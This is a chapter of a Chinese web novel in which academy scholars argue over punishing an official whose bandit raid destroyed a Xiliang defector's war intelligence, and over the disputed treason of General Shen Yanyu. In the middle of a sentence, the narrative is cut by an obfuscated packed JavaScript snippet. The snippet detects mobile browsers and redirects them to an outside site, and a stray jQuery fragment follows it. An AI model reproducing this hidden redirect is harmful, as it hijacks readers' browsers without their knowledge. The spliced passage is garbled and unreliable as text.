原来这山匪当时劫持上山的商队里藏了一名西凉人,那名西凉人身形瘦弱,被这支商贩在路边捡到,喂了几口水,给了几口剩菜,才勉强活下来,之后便跟着这支商队历经数日进入了我大祈境内,结果不成想,被这山匪抓住,最后用极刑折磨至死。
这官吏事后清理才注意到这名西凉人,这人衣着朴素,但材质极佳,一看就不是一般人家的奴仆。
果不其然,在这人身上发现了西凉皇室的标记:腰腹处有一对宛若弯刀的牛角。
听及此,听论人群中不免有人发出声音:“一个西凉人,死了便死了,要我说,他们潜入我们境内,定是居心叵测”
有人附和道:“这山匪也算做了件正义之事”
柳文彦继续道:“官吏在这西凉人身上搜出了一份文碟”
这份文牒上记录了几句话,但是却简明扼要的讲述了西凉攻破辽州的调兵计划,这份计划迟来了两个多月,已然失去了意义。
问题在于,这份计划与当时西凉部署分毫不差!
而在这两个月,正是原辽州沈家军与西凉军交战的关键时间!
宁繁音手掌蜷缩,握成拳,不自然的垂下了眼眸,掩藏了眼底里汹涌的情绪:辽州沈家军。
沈延玉!那是沈延玉!
周继驰似乎有感应似的透过人群看向宁繁音,心绪不经意的波动了一下。
范中离:“这西凉人带着这份文牒入我大祈,有何居心?”
柳文彦缓缓道:“人已死,是何居心都无法考据,不过,据那官吏事后考察,这西凉人有心投向我大祈,曾暗自打听当时守卫辽州边境辽卫军主将沈延玉的下落,不过阴差阳错,被困山匪手上,命丧黄泉”
韩哲听及此,略微思索了一番,道:“沈延玉?这名字倒是耳熟”然后一收折扇,恍然大悟道:“这不是通敌的那位将军吗?辽州五城,尸海血雨,可全都是出自那位将军一人之手呀”
“叛国贼!”有人咒骂道。
“这西凉人也不是个好东西,定是见我大祈兵强力壮,有心投诚,我看着西凉人也是惨,就算真的送到了那叛国贼手里,他定也是痛下杀手,怎么都是一条死路,活该!”
宁繁音死死的抿住自己的唇,尽力掩藏脸上的苍白。
柳文彦又出声道:“今日引论只是论公正,其余别的,不做讨论”
汤敬城道:“哎,别,既然要论这公正,又恰好引出了此间旧案,不如大家论上一论”
汤敬城整理了一下自己乱糟糟的头发,与刚刚疯疯癫癫的样子判若两人,见众人眼底惊讶,他打了个响嗝,又恢复了之前不成正形的样子。笑道:“当个话本子听听也不错嘛,解解乏,你们就这么干巴巴说来说去,公说公有理,婆说婆有理,谁知道你们哪个厉害”
孙觉起身道:“此案已定,若要核查,还需找到当年的案宗,我们如今这样毫无凭据的妄议,是否不妥?”
周继驰打了个哈欠,心道:“古板!要是让他真当了官,他手下的人有的受”
汤敬城道:“哎哎哎,你这位小朋友,怎么这么较真做什么?大家就说一说,我们就听一听,哪里不妥?你要是去查那案卷,三天三夜都不够你看的,咱们探探这沈将军为何叛敌难道还要有人在一边执笔提案?”
孙觉立马反驳道:“如今是来论公正的,非议他事,且不论是否有背离君臣之义,我们如今凭空猜测,岂不是捏造流言,清鸿院以不听流言为旨,如今反倒自打脸面,终是不妥”
汤敬城仿若被孙觉噎住,无奈道:“呦,柳兄,你这老个古板倒是找了小古板来”
孙觉似乎也觉得自己语气过重,放软了语气对着汤敬城行礼道:“前辈,我只是就是论事,并非顶撞,我...”
周继驰打断了孙觉的话:“那汤前辈,依你之见,这沈将军为何叛国?”
也许是这周继驰的语气过于松懒,众人都被他勾去了目光。
汤敬城:“哎呦,你又是哪位?”
周继驰自报家门:“周氏三子,周继驰”
汤敬城道:“你倒是个滑头,你们引论,我不过与你们柳阁老商量着定定人选,说白了就是看戏的,哪还要自己上去唱戏的?”
范中离怒道:“清鸿院议事,你当我们唱戏?”
坐在范中离身边的樊思远轻声咳了一声,小声劝道:“中离!”
范中离隐忍了几分怒气,碍于汤敬城的身份,坐了下来,小声怒道:“你这几年被人压迫惯了,就不要当所有人都与你一样!”
汤敬城满不在乎的对着柳博渊说:“你看你看,我又惹着一个,那我还是入乡随俗,就听你们论伦公正吧”
柳博渊没有说什么,只是摆了摆手,整个议事厅都安静了下来,柳博渊朝着柳文彦示意,让他继续。
“那就请孙公子先论吧”
“学生那时尚且年幼,只是从长辈那里听闻过,当时辽州惨败,直逼韩家军守卫的遂川,五城被屠戮,仅剩川义一城尚在坚守,倘若这份情报能及时送到......”
孙觉神情严肃,道:“可救五城百姓于水火,辽州不破,数万人命不必葬送,辽州到如今也不会被唤为鬼州”
范离中又站了起来,言辞激励:“要不是这官吏愚昧顽固,不至于造成如此悲惨的结局,就算那沈延玉叛国,可辽州的后面是遂川,有韩家军驻守,难道还能眼睁睁的看着走到这个地步吗?”
看台上的樊思远神情紧绷,一改往日的温雅,冷眼盯着范中离啐了一声:“受了哥哥的引荐,还想去抱韩家的大腿,无耻!”
宋承泽也一改嘻嘻哈哈的样子,沉声附和道:“谄媚小人”
孙觉被范中离打断,微皱眉头,继续道:“如此以来,原来的奖罚就不适用了,这次是罚大于赏,或者说没有赏,这官吏间接害死五城百姓,当诛!”
“附议”后面的人此起彼伏。
柳文彦满意的点点头,正准备转到下一个议题的时候,宁繁音骤然出声:“繁音有惑”
柳文彦合上刚刚打开的卷轴,神情淡然:“有何不解?”
宁繁音道:“敢问一句:官吏除匪,有何错?”宁繁音站在一众男子中间,清白的衣衫一尘不染,“不知者无罪,倘若因此官吏受罚,那此后何人还敢带兵剿匪?”
“我们如今知道这份文牒重要,更加知道这份文牒关系着五城百姓的生死存亡,自然可以大刀阔斧的评论其如何愚昧无知,如何罔顾
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583077|143071||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人命,可是当时官吏并不知。”
“可这五城的百姓就因为一句‘不知者无罪’白白牺牲吗?”人群中有人愤慨出声。
宁繁音面色凝重,又仿若陷入纠结,一时之间无法反驳人群中来势汹汹的怒气。
数万人命!
这是一份谁承担不起的罪责,谁在其中犯了一丁点的错误,都躲不开骂名,更何况这份情报可能扭转时局!
韩哲站了起来,平息了一下众人心中的滔滔悲愤,一贯翩然,道:“这里只是议论公正,况且这罪也不是宁小姐犯的,大家也不必对宁小姐如此”
说罢,对着身边的一名书生说道:“子贤,依你之见,这官吏该如何定罪?”
坐在韩哲身边书生才进入大家的视线,这人是韩家旁系中的一名庶子,名唤韩子贤,这人说起来幸运也不太幸运。
这韩家如今势大,连带着旁系中也有不少成了地方显赫,但韩子贤所在的这一脉混的却不怎么样,家主游手好闲,贪色好赌,嫡子又不思进取,韩子贤虽颇有几分天资,但毕竟是庶子,别说读书,连温饱都成问题。
不过这人还是有几分幸运的,韩家嫡子韩肃机缘巧合之下发现了这韩子贤的天资,便将其带回京都,请了名师启蒙教学,如今倒成了韩家叫的出名号的才子。
韩子贤起身,恭谦道:“学生以为,宁小姐说的不无道理,那官吏又没有未卜先知的能力,如何要将如此重罪就扣在别人头上?”
还未等范中离论述,他已经抢先一步开口:“他虽不知,但是也是造成这惨案的凶手,如何治不了罪?如果人人都说一句不知道,不清楚,那就都不治罪了?”
眼见着几人就要为此争论不休了,汤敬城突然嘟嘟囔囔问柳博渊:“柳兄,你这果子从哪家买的?怎么有的甜的腻牙,怎么有的又酸的发苦?你定是让人给诓了,要不然你府上以后的采买,让我来呗?”
柳如真听见汤敬城的声音才后知后觉的去阻止汤敬城:“前辈,还请说些与引论有关的言论,采买这些小事...之后再说”
汤敬城将吃一半的果子丢到柳如真手里,说道:“怎么办,我觉得大家说的都挺对的,重罚有重罚的理由,轻罚有轻罚的原因,只是...”
柳如真问道:“只是什么?”
汤敬城道:“只是这都是十几年前的旧账了,是个烂到不能再烂的烂摊子,更何况,那位少年将军到底通没通敌还存在很大争议呢”
汤敬城不轻不重的一句话,瞬间点燃了整个大厅的气氛。
“什么争议?当年沈延玉通敌已经是板上钉钉的事实,还有什么争议?”
“沈家一夜之间倒台,已经说明事实,还有什么争议?”
“这人真的是登陵汤氏的传承人吗?怎么胡说八道?”
一时间,议论纷纷,汤敬城却不慌不忙的看着下面的热闹,眯着眼睛笑,偶尔冒出一句:“哎,这句骂的不错”
柳文彦向着柳如真使了一个眼色,柳如真点点头,向着汤敬城说道:“前辈,现在论的公正,还请不砸了清鸿院的场子”
汤敬城依旧一幅看热闹不嫌弃事大样子,言之凿凿的说道:“你看你们这是论的公正,我这不是在帮你们论吗?”